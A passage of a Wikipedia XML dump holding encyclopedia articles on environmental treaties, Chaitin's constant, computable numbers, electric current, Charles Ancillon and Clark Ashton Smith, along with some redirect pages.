[[Category:1975 in law]]
[[Category:Endangered species|CITES]]

[[zh-min-nan:Kiông-beh-khu̍t-chéng Iá-seng Tōng-si̍t-bu̍t Kok-chè Bō·-e̍k Kong-iok]]
[[da:Washington-konventionen]]
[[de:Washingtoner Artenschutz-Übereinkommen]]
[[es:CITES]]
[[eo:Vaŝingtona Specioprotekta Kontrakto]]
[[fr:Convention sur le commerce international des espèces de faune et de flore sauvages menacées d'extinction]]
[[it:CITES]]
[[nl:CITES]]
[[ja:ワシントン条約]]
[[no:CITES]]
[[pl:CITES]]
[[pt:CITES]]
[[sk:CITES]]
[[sv:CITES]]
[[tr:Convention on the International Trade in Endangered Species of Wild Flora and Fauna]]
[[zh:瀕臨絕種野生動植物國際貿易公約]]</text>
    </revision>
  </page>
  <page>
    <title>Convention on the Prevention of Marine Pollution by Dumping Wastes and Other Matter</title>
    <id>6202</id>
    <revision>
      <id>32690883</id>
      <timestamp>2005-12-25T16:58:42Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>merging to [[London Convention]]</comment>
      <text xml:space="preserve">#REDIRECT [[London Convention]]</text>
    </revision>
  </page>
  <page>
    <title>Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques</title>
    <id>6203</id>
    <revision>
      <id>34669035</id>
      <timestamp>2006-01-10T22:19:52Z</timestamp>
      <contributor>
        <username>Itai</username>
        <id>17456</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques''' (abbreviated '''ENMOD Convention''') is a [[1976]] international [[treaty]] prohibiting the military or other hostile use of environmental modification techniques. It entered into force on [[October 5]] [[1978]].

==Parties==
''parties'' - (67) [[Afghanistan]], [[Algeria]], [[Antigua and Barbuda]], [[Argentina]], [[Australia]], [[Austria]], [[Bangladesh]], [[Belarus]], [[Belgium]], [[Benin]], [[Brazil]], [[Brunei]], [[Bulgaria]], [[Canada]], [[Cape Verde]], [[Chile]], [[Costa Rica]], [[Cuba]], [[Cyprus]], [[Czech Republic]], [[Denmark]], [[Dominica]], [[Egypt]], [[Finland]], [[Germany]], [[Ghana]], [[Greece]], [[Guatemala]], [[Hungary]], [[India]], [[Republic of Ireland|Ireland]], [[Italy]], [[Japan]], [[North Korea]], [[South Korea]], [[Kuwait]], [[Laos]], [[Malawi]], [[Mauritius]], [[Mongolia]], [[Netherlands]], [[New Zealand]], [[Niger]], [[Norway]], [[Pakistan]], [[Papua New Guinea]], [[Poland]], [[Romania]], [[Russia]], [[Saint Lucia]], [[Saint Vincent and the Grenadines]], [[São Tomé and Príncipe]], [[Slovakia]], [[Solomon Islands]], [[Spain]], [[Sri Lanka]], [[Sweden]], [[Switzerland]], [[Tajikistan]], [[Tunisia]], [[Ukraine]], [[United Kingdom]], [[United States]], [[Uruguay]], [[Uzbekistan]], [[Vietnam]], [[Yemen]]

''countries that have signed, but not yet ratified'' - (17) [[Bolivia]], [[Democratic Republic of the Congo]], [[Ethiopia]], [[Holy See]], [[Iceland]], [[Iran]], [[Iraq]], [[Lebanon]], [[Liberia]], [[Luxembourg]], [[Morocco]], [[Nicaragua]], [[Portugal]], [[Sierra Leone]], [[Syria]], [[Turkey]], [[Uganda]]

==See also== 
* [[Environmental agreements]]
* [[Arms control agreements]]
* [[Operation Popeye]]

==External links==
{{wikisourcepar|Environmental Modification Convention}}
* [[US State Department]] page on [http://www.state.gov/t/ac/trt/4783.htm Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques]
* [[ICRC]] [http://www.icrc.org/Web/Eng/siteeng0.nsf/htmlall/57JR8J/$FILE/1976_ENMOD.pdf?OpenElement ENMOD Convention and related international law]
* [http://www.unog.ch/frames/disarm/distreat/environ.pdf the text of the agreement (PDF)]
* [http://fletcher.tufts.edu/multi/texts/BH700.txt the text of the agreement (ASCII)]

[[Category:Arms control]]
[[Category:Cold War treaties]]
[[Category:Laws of war]]
[[Category:Treaties on the environment]]
[[Category:1978 in law]]</text>
    </revision>
  </page>
  <page>
    <title>Convention on Wetlands of International Importance Especially As Waterfowl Habitat</title>
    <id>6204</id>
    <revision>
      <id>15904362</id>
      <timestamp>2003-09-09T22:45:32Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>duplicate article: redir  (mv txt there)</comment>
      <text xml:space="preserve">#redirect [[Ramsar Convention]]</text>
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  </page>
  <page>
    <title>Chaitin's constant</title>
    <id>6205</id>
    <revision>
      <id>41469408</id>
      <timestamp>2006-02-27T15:40:47Z</timestamp>
      <contributor>
        <username>Quarl</username>
        <id>59118</id>
      </contributor>
      <comment>/* External links */ «+&quot;* [http://www.sciam.com/article.cfm?chanID=sa006&amp;colID=1&amp;articleID=00008D35-EDE9-13F5-A75F83414B7FFE9F ''The Limits of Reason''], Gregory Chaitlin, Scientific American, March 2006&quot;»</comment>
      <text xml:space="preserve">In the [[computer science]] subfield of [[algorithmic information theory]] the '''Chaitin constant''' or '''halting probability''' is a construction by [[Gregory Chaitin]] which describes the [[probability]] that a [[random|randomly]] generated program for a given model of computation or [[programming language]] will halt. It is usually denoted with Ω.

It is a [[normal number | normal]] and [[transcendental number | transcendental]] number which can be [[definable number|defined]] but cannot be [[computable number|computed]]. This means one can prove that there is no [[algorithm]] which produces the digits of Ω.

The proof of the uncomputability of Ω relies on an algorithm, which, given the first ''n'' digits of Ω, solves Turing's [[halting problem]] for programs of length up to ''n''. Since the halting problem is [[undecidable]], Ω can not be computed.

As Ω depends on the program encoding used, it should be called '''Chaitin's construction''' instead of '''Chaitin's constant''' when not referring to any specific encoding.

==Definition==

To define Ω formally, we first need to fix a (Turing-complete) model of computation, for instance [[Turing machine]]s or [[Lisp programming language|Lisp]] or [[Pascal programming language|Pascal]] programs. (Here, ''program'' means the concatenation of executable code and input.)  We then need to specify an [[Prefix code|instantaneous encoding]] of programs as [[bit]] strings.  This encoding has the property that if ''w'' encodes a syntactically correct program, then no proper prefix of ''w'' encodes a syntactically correct program. Given an arbitrary Turing machine ''M'', this can always be achieved by using the following algorithm:
# Read a bit of the input ''z''.
# Before reading any more, simulate &lt;i&gt;M&lt;/i&gt; on all possible extensions ''y'' (including the empty one) of ''z'' simultaneously until some extension halts, if ever.
# If ''y''&amp;nbsp;=&amp;nbsp;''z'', then halt and output ''M''(''y''); otherwise go to step 1.
Let ''P'' be the set of all programs which halt. The constant Ω is then defined as:

:&lt;math&gt;\Omega = \sum_{p \in P} 2^{-|p|}.&lt;/math&gt;

This is an [[series (mathematics)|infinite sum]] which has one summand for every syntactically correct program which halts. |''p''| stands for the length of the bit string of ''p''. The above requirement that programs be prefix-free ensures that this sum converges to a [[real number]] between 0 and 1.

==Notes==

It can then be shown that Ω represents the probability that a randomly produced bit string will encode a halting program. This means that if you start flipping coins, always recording a head as a one and a tail as a zero, the probability is Ω that you will eventually reach the encoding of a syntactically correct halting program.

If you fix, in addition to the computation model and encoding mentioned above, a specific consistent [[axiomatic system]] for the [[natural numbers]], say [[Peano axioms|Peano's axioms]], then there exists a constant ''N'' such that no bit of Ω after the ''N''-th can be proven to be one or zero within that system. (The constant ''N'' heavily depends on the encoding choices and does not reflect the complexity of the axiomatic system in any way.) This is an incompleteness result akin to [[Gödel's incompleteness theorem]] and Chaitin's own result mentioned under [[algorithmic information theory]].

Chaitin's constant is [[data compression|uncompressible]] (others may say irreducible, or algorithmically random). This means that in a particular programming language, a program which will write the first ''n'' bits of Ω for that language must be at least ''n'' bits itself, including any input data.

==Calculation of the start of a Chaitin Ω==

Cristian S.&amp;nbsp;Calude, Michael J.&amp;nbsp;Dinneen, and Chi-Kou Shu [http://www.expmath.org/expmath/volumes/11/11.3/Calude361_370.pdf] have calculated the first 64 [[bit]]s of a Chaitin Ω&lt;sub&gt;''U''&lt;/sub&gt; for a particular machine: they in fact calculated 84 bits, but only the first 64 are reliable. These are, in [[Binary_numeral_system#Representing_real_numbers|binary notation]]
:0.0000001000000100000110001000011010001111110010111011101000010000...  
or in [[Decimal#Decimal_representation_of_the_real_numbers|decimal notation]]
:0.0078749969978123844...

However, they also confirm the more important strong result in the opposite direction mentioned above, that in general only a finite number of digits of Ω may be calculated or, equivalently, that from some point in the binary expansion onwards none of the digits of Ω may be calculated.

==External links==

* [http://www.plus.maths.org.uk/issue37/features/omega/index.html  Omega and why maths has no TOEs] article based on one written by [[Gregory Chaitin]] which appeared in the August 2004 edition of Mathematics Today, on the occasion of the 50th anniversary of Alan Turing's death.
* [http://www.sciam.com/article.cfm?chanID=sa006&amp;colID=1&amp;articleID=00008D35-EDE9-13F5-A75F83414B7FFE9F ''The Limits of Reason''],  Gregory Chaitlin, Scientific American, March 2006

[[Category:Algorithmic information theory]]
[[Category:Theory of computation]]
[[Category:Transcendental numbers]]

[[de:Chaitinsche Konstante]]
[[es:Constante de Chaitin]]
[[fr:Oméga de Chaitin]]
[[sv:Chaitins konstant]]</text>
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  </page>
  <page>
    <title>Computable number</title>
    <id>6206</id>
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      <id>42074156</id>
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        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">In [[mathematics]], [[theoretical computer science]] and [[mathematical logic]], the '''computable numbers''', also known as the '''recursive numbers''', are the subset of the [[real numbers]] consisting of the numbers which can be computed by a finite, terminating [[algorithm]].  They can be defined equivalently using the axioms of [[recursive function]]s, [[Turing machines]] or [[lambda-calculus]]. In contrast, the reals require the more powerful axioms of [[Zermelo-Fraenkel set theory]]. The computable numbers form a [[real closed field]] and can be used in the place of real numbers for many, but by no means all, mathematical purposes.

The computable numbers are countable and the uncountability of the reals implies that most real numbers are not computable. The computable numbers can be counted by assigning a [[Gödel number]] to each Turing machine / lambda expression / recursive function definition.  Then we have mapping from the naturals to the computable reals.  Note however that while computable numbers are an ordered field it is not possible to computably order them, as this would require us to decide which natural numbers correspond to halting Turing machines, which is an uncomputable problem.  Because of this fact, the [[Cantor's diagonal argument|Cantor diagonalization]] argument does not work for the set of countable, computable reals: the diagonal element corresponds to a non-computable number.  

==Formal definition==

A [[real number]] ''a'' is said to be '''computable''' if it can be approximated by some [[algorithm]] (or [[Turing machine]]), in the following sense: given any [[integer]] &lt;math&gt;n \ge 1&lt;/math&gt;, the algorithm produces an integer ''k'' such that:

:&lt;math&gt;{(k-1)\over n} \leq a \leq {(k+1)\over n}.&lt;/math&gt;

Or, equivalently, there exists an algorithm which, given any real error bound &lt;math&gt;\epsilon &gt; 0&lt;/math&gt;, produces a [[rational number]] ''r'' such that:

:&lt;math&gt;|r - a| \leq \epsilon.&lt;/math&gt;

A [[complex number]] is called computable if its real and imaginary parts are computable.

== Properties ==

The computable complex numbers form an [[algebraically closed]] [[field (mathematics)|field]], and for many purposes is large enough already without requiring the noncomputable construction of the real and complex numbers. It contains all [[algebraic number]]s as well as many known [[Transcendental number|transcendental]] [[mathematical constants]]. There are however many real numbers which are not computable: the [[set]] of all computable numbers is [[countably infinite|countable]] (because the set of algorithms is) while the set of real numbers is not (see [[Cantor's diagonal argument]]).

The arithmetical operations on computable numbers are themselves computable. Take addition as example: there exists an algorithm or Turing machine which on input (''A'',''B'',&lt;math&gt;\epsilon&lt;/math&gt;) produces output ''r'', where ''A'' is the description of a Turing machine approximating ''a'' (in the sense of the above definition), ''B'' is the description of a Turing machine approximating ''b'', and ''r'' is an &lt;math&gt;\epsilon&lt;/math&gt; approximation of ''a''+''b''.

However, order relations on computable numbers are not computable. There is no Turing machine which on input ''A'' (the description of a Turing machine approximating the number &lt;math&gt;a&lt;/math&gt;) outputs &quot;YES&quot; if &lt;math&gt;a &gt; 0&lt;/math&gt; and &quot;NO&quot; if &lt;math&gt;a \le 0&lt;/math&gt;. The reason: suppose the machine described by ''A'' keeps outputting 0 as &lt;math&gt;\epsilon&lt;/math&gt; approximations. It is not clear how long to wait before deciding that the machine will ''never'' output an approximation which forces ''a'' to be positive. 

Every computable number is [[Definable number|definable]], but not vice versa. An example of a definable, non-computable real number is [[Chaitin's constant]], &lt;math&gt;\Omega&lt;/math&gt;.

== Computing digit strings ==

Turing's original paper defined computable numbers as follows:

:A real number is computable if its digit sequence can be produced by some algorithm or Turing machine. The algorithm takes an integer &lt;math&gt;n \ge 1&lt;/math&gt; as input and produces the &lt;math&gt;n&lt;/math&gt;-th digit of the real number's decimal expansion as output.

Turing was already aware of the fact that this definition is equivalent to the &lt;math&gt;\epsilon&lt;/math&gt;-approximation definition given above. The argument proceeds as follows: if a number is computable in the Turing sense, then it is also computable in the &lt;math&gt;\epsilon&lt;/math&gt; sense: if &lt;math&gt;n &gt; log_{10} (1/\epsilon)&lt;/math&gt;, then the first ''n'' digits of ''a'' provide an &lt;math&gt;\epsilon&lt;/math&gt; approximation of ''a''. For the converse, we pick an &lt;math&gt;\epsilon&lt;/math&gt; computable real number ''a'' and distinguish two cases. If ''a'' is rational, then ''a'' is also Turing computable, since the digit expansions of rational numbers are eventually periodic and can therefore be produced by simple algorithms. Now if ''a'' is not rational and you want to compute its ''n''-th digit, keep computing ever more precise &lt;math&gt;\epsilon&lt;/math&gt;-approximations until the ''n''-th digit is certain. Eventually this will happen, since ''a'' is not rational and the case of &quot;zeros forever&quot; or &quot;nines forever&quot; is therefore excluded.

There is no algorithm which takes as input the description of a Turing machine which produces &lt;math&gt;\epsilon&lt;/math&gt; approximations for the computable number ''a'', and produces as output a Turing machine which enumerates the digits of ''a'' in the sense of Turing's definition. So while the two definitions are equivalent, they are not &quot;computably equivalent&quot;.

While the set of computable numbers is countable, it cannot be enumerated by any algorithm, program or Turing machine. Formally: it is ''not'' possible to provide a complete list ''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;, ''x''&lt;sub&gt;3&lt;/sub&gt;, ... of all computable real numbers and a Turing machine which on input (''m'', ''n'') produces the ''n''-th digit of  ''x''&lt;sub&gt;''m''&lt;/sub&gt;. This is proved with a slight modification of Cantor's diagonal argument. 

The problem with Turing's definition is this: addition is not computable if we use descriptions of digit-enumerating Turing machines as input and require a digit enumeration as output. The reason is similar to the one described earlier, when talking about order relations: if you want to add two numbers and the first machine keeps outputting the digit 9 and the second machine the digit 0, how long do you wait before deciding that no carry-over to the current digit position is needed?

==Uncomputable numbers==

An uncomputable number can be intuitively viewed as a number which is &quot;infinite in size&quot;, or containing an &quot;infinite amount of information&quot;.  In other words, it is an element of the set of reals which cannot be expressed (i.e. distinguished from all other elements of the set) using a finite number of symbols.  The uncomputable numbers arise as a consequence of the [[Zermelo-Fraenkel set theory|Zermelo-Fraenkel]] (ZF) axioms as follows:
:ZF assumes the existence of the [[natural number]]s, '''N''', and the existence of the [[power set]] of every set.
:So the power set of the naturals exists, P('''N''').
:We can encode the reals, '''R''', in [[binary notation]], mapping the ''n''-th digit to the presence or absence of ''n'' from a member ''r'' of P('''N''').  So there is a mapping between P('''N''') and '''R'''.
:Some members of P('''N''') are &quot;infinite in size&quot;, so cannot be captured by a finite machine.  It is these members that form the uncomputables.

==Can computable numbers be used instead of the reals?==
The computable numbers include all specific real numbers which appear in practice, including all [[algebraic number]]s, ''e'', &lt;math&gt;\pi&lt;/math&gt;, et cetera.  Indeed they must since, as explained above, no uncomputable element can be expressed using a finite number of symbols.  In some sense the computable numbers include all numbers which are individually &quot;within our grasp&quot;.  So the question naturally arises of whether we can dispose of the reals entirely and use computable numbers for all of mathematics.  This idea is appealing from a [[constructivism (mathematics)|constructivist]] point of view since it would allow us to work without uncountable sets. It has been hypothesized that most of [[mathematical analysis|analysis]] could be reconstructed using computable numbers. A great deal of traditional analysis has been done in a [[constructivist analysis|constructive framework]]. Nevertheless, it is necessarily more complicated than  classical analysis would be. In any case, most mathematicians see no need to restrict themselves to computable numbers, even if this can be done.

==References==

* [[Alan Turing]], ''On computable numbers, with an application to the Entscheidungsproblem'',  Proceedings of the London Mathematical Society, Series 2, 42 (1936), pp 230-265. [http://www.abelard.org/turpap2/tp2-ie.asp online version]. Computable numbers (and Turing machines) were introduced in this paper.

Computable numbers were defined independently by Turing, Post and Church.
See ''The Undecidable'', ed. Martin Davis, for further original papers.

[[Category:Recursion theory]]
[[Category:Theory of computation]]

[[de:Berechenbare Zahl]]
[[fr:Nombre réel calculable]]
[[sv:Beräkningsbart tal]]</text>
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  <page>
    <title>Electric current</title>
    <id>6207</id>
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      <comment>Revert to revision 41581138 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{backlink|Electricity}}
{{TOCright}}
'''Electric current''' is the flow of [[electric charge]]. Natural examples include [[lightning]] and the [[solar wind]], the source of the [[polar aurora]].  The most familiar artificial form of electric current is the flow of [[electrical conduction|conduction]] [[electron]]s in metal [[wire]]s, such as the overhead power lines that deliver [[electric power transmission|electrical energy]] across long distances and the smaller wires within electrical and electronic equipment. In [[electronics]], other forms of electric current include the flow of electrons through [[resistor]]s or through the vacuum in a [[vacuum tube]], the flow of [[ion]]s inside a [[Battery (electricity)|battery]], and the flow of [[Electron hole|holes]] within a [[semiconductor]].

== Relation between current and charge ==

The symbol typically used for the amount of current (the amount of charge ''Q'' flowing per unit of time ''t'') is '''''I''''', from the German word ''Intensität'', which means 'intensity'.

:&lt;math&gt;I = {dQ \over dt}&lt;/math&gt;

Formally this is written as

:&lt;math&gt;i(t) = {dq(t) \over dt}&lt;/math&gt; or inversely as &lt;math&gt;q(t_0) = \int_{-\infty}^{t_0} i(t)\, dt&lt;/math&gt;

== Conventional current ==

'''Conventional current''' was defined early in the history of electrical science as a flow of positive charge.  In solid metals, like wires, the positive charges are immobile, and only the negatively charged [[electron]]s flow in the direction opposite conventional current, but this is not the case in most non-metallic conductors.  In other materials, charged particles flow in both directions at the same time.  Electric currents in [[electrolytes]] are flows of electrically charged atoms ([[ion]]s), which exist in both positive and negative varieties.  For example, an [[electrochemistry|electrochemical]] cell may be constructed with salt water (a solution of [[sodium chloride]]) on one side of a membrane and pure water on the other.  The membrane lets the positive sodium ions pass, but not the negative chlorine ions, so a net current results.  Electric currents in [[Plasma physics|plasma]] are flows of electrons as well as positive and negative ions.  In ice and in certain solid electrolytes, flowing [[proton]]s constitute the electric current.  To simplify this situation, the original definition of conventional current still stands.  

There are also instances where the electrons are the charge that is physically moving, but where it makes more sense to think of the current as the movement of positive &quot;[[electron hole|holes]]&quot; (the spots that should have an electron to make the conductor neutral). This is the case in a p-type [[semiconductor]]. 

The [[SI]] unit of electrical current is the [[ampere]]. Electric current is therefore sometimes informally referred to as '''''amperage''''' or '''''ampage''''',  by analogy with the term ''[[voltage]]''. Though this is a valid term, some engineers frown on it.

== The drift speed of an electric current ==
The mobile charged particles within a conductor move constantly in random directions.  In order for a net flow of charge to exist, the particles must also move together with an average drift rate.  For example, during currents in [[metal]]s the particles follow an erratic path, bouncing from atom to atom, but generally drifting in the direction of the [[electric field]]. The speed at which they drift can be calculated from the equation:
:&lt;math&gt;I=nAvQ \!\ &lt;/math&gt;
where
:''I'' is the current
:''n'' is number of charged particles '''per unit volume'''
:''A'' is the cross-sectional area of the conductor
:''v'' is the drift velocity, and
:''Q'' is the charge on each particle.
Electric currents in solid matter are typically very slow flows.  For example, in a [[copper]] [[wire]] of cross-section 0.5 mm&amp;sup2;, carrying a current of 5 A, the ''[[drift velocity]]'' of the electrons is of the order of a millimetre per second. To take a different example, in the near-vacuum inside a [[cathode ray tube]], the electrons travel in near-straight lines (&quot;ballistically&quot;) at about a tenth of the [[speed of light]].

However, we know that electric current [[Signal (information theory)|signals]] are waves which propagate at very high speed. As with any wave, the speed of the waves in a medium have little relation to the speed of that medium as it moves.  For example, in [[electric power transmission|AC power lines]], the waves of current propagate rapidly from a source to a distant [[external electric load|load]], while the charges themselves only move back and forth over a tiny distance.  The velocity of flowing charges can be quite low. Yet, any changes in electric current can travel at the speed of light, though it might be slower in certain media.  The percentage of speed in a medium compared to the speed of light in vacuum is called [[velocity factor]], and is proportional to [[refractive index]].

== Current density ==

'''Current density''' is the current per unit (cross-sectional) area.

Mathematically, current is defined as the net flux through an area. Thus:

:&lt;math&gt;
I = j \cdot A
&lt;/math&gt;

where, in the MKS or [[SI]] system of measurement, 

:''I'' is the current, measured in [[ampere]]s
:''j'' is the &quot;current density&quot; measured in amperes per [[square metre]]
:''A'' is the area through which the current is flowing, measured in [[square metre]]s

The current density is defined as:

:&lt;math&gt;
j=\int_i n_i \cdot x_i \cdot \mathbf{u_i}
&lt;/math&gt;

where 

:''n'' is the particle density (number of particles per unit volume)
:''x'' is the mass, charge, or any other characteristic whose flow one would like to measure.
:''u'' is the average velocity of the particles in each volume

Current density is an important consideration in the design of electrical and electronic systems.  Most electrical conductors have a finite, positive resistance, making them dissipate power in the form of heat.  The current density must be kept sufficiently low to prevent the conductor from melting or burning up, or the insulating material failing.  In [[superconductivity|superconductors]], excessive current density may generate a strong enough  magnetic field to cause spontaneous loss of the superconductive property.

== Electromagnetism ==

Every electric current produces a [[magnetic field]].  The magnetic field can be visualized as a pattern of circular field lines surrounding the wire.

Electric current can be directly measured with a [[galvanometer]], but this method involves breaking the circuit, which is sometimes inconvenient.  Current can also be measured without breaking the circuit by detecting the [[magnetic field]] it creates.  Devices used for this include [[Hall effect]] [[sensor]]s, [[current clamp]]s and [[Rogowski coil]]s.

== Ohm's law ==

[[Ohm's law]] predicts the current in an (ideal) [[resistor]] (or other [[ohmic device]]) to be the quotient of applied [[voltage]] over [[electrical resistance]]:

:&lt;math&gt;
I = \frac{V}{R}
&lt;/math&gt;

where 

:''I'' is the current, measured in [[ampere]]s
:''V'' is the [[potential difference]] measured in [[volt]]s
:''R'' is the [[electrical resistance|resistance]] measured in [[ohm]]s

== Electrical safety ==

The most obvious hazard is electric shock, where a current through part of the body can cause effects from a slight tingle to cardiac arrest or severe burns. It is the current that passes that determines the effect, and this depends on the nature of the contact, the condition of the body part, the current path through the body and the voltage of the source. The effect also varies considerably from individual to individual. (For approximate figures see '''Shock Effects''' under [[Electric shock]].) Because of this and because in practical situations the current that may pass cannot be predicted any supply of over 24 volts should be considered a possible source of dangerous electric shock. In particular note that 110 volts can certainly be lethal.

Electric arcs, which can occur with supplies of any voltage (for example, a typical [[arc welding]] machine has a voltage between the electrodes of just a few volts), are very hot and emit ultra-violet and infra-red radiation. Proximity to an electric arc can therefore cause severe burns while UV is damaging to the unprotected eye. 

Accidental electric heating can also be dangerous. An overloaded power cable is a frequent cause of fire. A battery as small as an AA cell placed in a pocket with change can lead to a short circuit heating the battery and the coins which may inflict burns. NiCad and NiMh cells are particularly risky because they can deliver a very high current due to their low internal resistance.

==See also==

*[[Alternating current]]
*[[Direct current]]
*[[electrical conduction]] for more information on the physical mechanism of current flow in materials
*[[SI electromagnetism units]]

==External links==


* [http://www.unitconversion.org/unit_converter/current-v.html Interactive Current Conversion Table] - convert selected unit to all other units of current

* [http://amasci.com/amateur/elecdir.html Which direction does electricity ''really'' flow?]

* [http://www.allaboutcircuits.com All about circuits] - a useful site introducing electricity and electronics, as well as some mathematics involved with circuit calculations.
[[Category:Electromagnetism]]
[[Category:Magnetism]]

[[ar:تيار كهربائي]]
[[bg:Електрически ток]]
[[ca:Corrent]]
[[cs:Elektrický proud]]
[[da:Elektrisk strøm]]
[[de:Elektrischer Strom]]
[[et:Elektrivool]]
[[es:Corriente eléctrica]]
[[fa:جریان الکتریکی]]
[[fr:Courant électrique]]
[[he:זרם חשמלי]]
[[ko:전류]]
[[id:Arus listrik]]
[[it:Corrente elettrica]]
[[nl:Elektrische stroom]]
[[ja:電流]]
[[pl:Natężenie prądu elektrycznego]]
[[pt:Corrente elétrica]]
[[ru:Сила тока]]
[[sk:Elektrický prúd]]
[[sl:Električni tok]]
[[th:กระแสไฟฟ้า]]
[[fi:Sähkövirta]]
[[zh:电流]]</text>
    </revision>
  </page>
  <page>
    <title>Charles Ancillon</title>
    <id>6208</id>
    <revision>
      <id>33644612</id>
      <timestamp>2006-01-02T22:07:27Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation: Louis XIV</comment>
      <text xml:space="preserve">'''Charles Ancillon''' ([[July 28]], [[1659]] - [[July 5]], [[1715]]), one of a distinguished family of [[Huguenots]], was born at [[Metz]], [[Moselle]], [[France]].  His father, [[David Ancillon]] ([[1617]]-[[1692]]), was obliged to leave [[France]] on the revocation of the [[Edict of Nantes]], and became pastor of the French [[Protestant]] community in [[Berlin, Germany]].

Charles Ancillon studied law at [[Marburg]], [[Geneva]], and [[Paris]], where he was called to the bar.  At the request of the [[Huguenot]]s at Metz, he pleaded its cause at the court of [[Louis XIV of France|Louis XIV]], urging that it should be excepted in the revocation of the [[Edict of Nantes]], but his efforts were unsuccessful, and he joined his father in Berlin. He was at once appointed by the elector Frederick &quot;''juge et directeur de colonie de Berlin''.&quot; Before this, he had published several works on the revocation of the Edict of Nantes and its consequences, but his literary capacity was mediocre, his style stiff and cold, and it was his personal character rather than his reputation as a writer that earned him the confidence of the elector.

In [[1687]] he was appointed head of the so-called ''Academie des nobles,'' the principal educational establishment of the state; later on, as councillor of embassy, he took part in the negotiations which led to the assumption of the title of king by the elector.  In [[1699]] he succeeded [[Samuel Pufendorf|Pufendorf]] as historiographer to the elector, and the same year replaced his uncle [[Joseph Ancillon]] as judge of all the French refugees in [[Brandenburg]].

Ancillon's is mainly remembered for what he did for education in [[Prussia]],  and the share he took, in co-operation with [[Gottfried Leibniz|Leibniz]], in founding the [[Academy of Berlin]]. Of his fairly numerous works the one of most value is the &quot;''Histoire de l'etablissement des Francais refugies dans les etats de Brandebourg''&quot; published in Berlin in 1690.

[[Category:1659 births|Ancillon, Charles]]
[[Category:1715 deaths|Ancillon, Charles]]</text>
    </revision>
  </page>
  <page>
    <title>Clark Ashton Smith</title>
    <id>6210</id>
    <revision>
      <id>41581999</id>
      <timestamp>2006-02-28T07:46:17Z</timestamp>
      <contributor>
        <ip>193.30.0.1</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox_Biography |
  subject_name=Clark Ashton Smith |
  image_name=Front-7.jpg |
  image_caption= Smith at 19|
  dead=dead |
  date_of_birth=[[January 13]], [[1893]] |
  place_of_birth=[[Long Valley]], [[California]], [[USA]] |
  date_of_death=[[August 14]], [[1961]] |
  place_of_death=[[Pacific Grove]], [[California]], [[USA]] |
}}


'''Clark Ashton Smith''' ([[January 13]], [[1893]]-[[August 14]], [[1961]]) was a [[poet]], [[sculpture|sculptor]], [[painter]] and author of [[fantasy fiction|fantasy]], [[horror fiction|horror]] and [[science fiction]] short stories. It is for these stories, and his literary friendship with [[H. P. Lovecraft]] from 1922 until Lovecraft's death in 1937, that he is mainly remembered today. Clark Ashton Smith, [[H. P. Lovecraft]] and [[Robert E. Howard]] are today the three most famous contributors to the [[pulp magazine]] ''[[Weird Tales]]''.

==Biography==


===Early life and education===

Smith spent most of his life in the small town of [[Auburn, California|Auburn]], [[California]], living in a small cabin with his parents, Fanny and Timeus Smith. His formal education was limited: he attended only eight years of grammar school and never went to [[high school]]. 


However, he continued to teach himself after he left school, learning [[French language|French]] and [[Spanish language|Spanish]], and his near-photographic memory allowed him to retain prodigious amounts from his very wide reading, which including several entire [[dictionary|dictionaries]] and [[encyclopedia]]s.

===Early writing and influences===

Smith began writing stories at the age of eleven and two of them, ''The Sword of Zagan'' and ''The Black Diamonds'', have recently been published by [[Hippocampus Press]]. Both stories use a [[Middle Ages|medieval]], [[Arabian Nights]]-like setting, and the [[Arabian Nights]],
like the fairy tales of the [[Brothers Grimm]] and the works of [[Edgar Allan Poe]], are known to have strongly influenced Smith's early writing.

In his later youth Smith became the protegé of the [[San Francisco]] poet [[George Sterling]], who helped him to publish his first volume of poems, ''The Star-Treader and Other Poems'', at the age of nineteen. ''The Star-Treader'' was received very favorably by American critics, one of whom named Smith &quot;the Keats of the Pacific.&quot; Smith made the acquaintance of Sterling through a member of the local Auburn Monday Night Club, where he read several of his poems with considerable success. The publication of ''Ebony and Crystal'' in 1922 was followed by a fan letter from [[H. P. Lovecraft]], which was the beginning of fifteen years of friendship and correspondence.

===Work and marriage===

Smith was poor for most of his life and was often forced to take menial jobs such as fruitpicking and woodcutting in order to support himself and his parents. Following the death of his parents, he married Carol Jones Dorman on [[10 November]] [[1954]] and moved to [[Pacific Grove, California]], where he set up a household with her and her children.

==Phases of preferred art forms== 

While Smith was always an artist who worked in several very different media, it is possible to identify three distinctive phases in which one form of art had precedence over the others. 

===Poetry: Until 1925===

Smith published most of his volumes of poetry in this period, including the aforementioned ''The Star-Treader and Other Poems'', as well as ''Odes and Sonnets'' (1918), ''Ebony and Crystal'' (1922) and ''Sandalwood'' (1925).

===Weird Fiction: 1926-1935===

Smith wrote most of his [[weird fiction]] and [[Cthulhu Mythos]] stories, possibly inspired by [[H. P. Lovecraft]]. Creatures of his invention include [[Aforgomon]], [[Rlim-Shaikorth]], [[Mordiggian]],[[Tsathoggua]], the wizard [[Eibon]], and various others.

The stories form several cycles, called after the lands in which they are set: [[Averoigne]], [[Hyperborea]], [[Mars]], [[Poseidonis]], [[Xiccarph]], [[Zothique]]. Stories set in Zothique belong to the [[Dying Earth subgenre]].

His short stories originally appeared in the magazines ''[[Weird Tales]]'', ''[[Strange Tales]]'', ''[[Astounding Stories]]'', ''[[Stirring Science Stories]]'' and ''[[Wonder Stories]]''.

Some were also collected as ''Lost Worlds'' Vols 1 and 2 (LW1 and LW2):

*&quot;The Last Incantation&quot; &amp;mdash; Weird Tales, June 1930 LW2
*&quot;A Voyage to Sfanomoe&quot; &amp;mdash; Weird Tales, August 1931 LW2
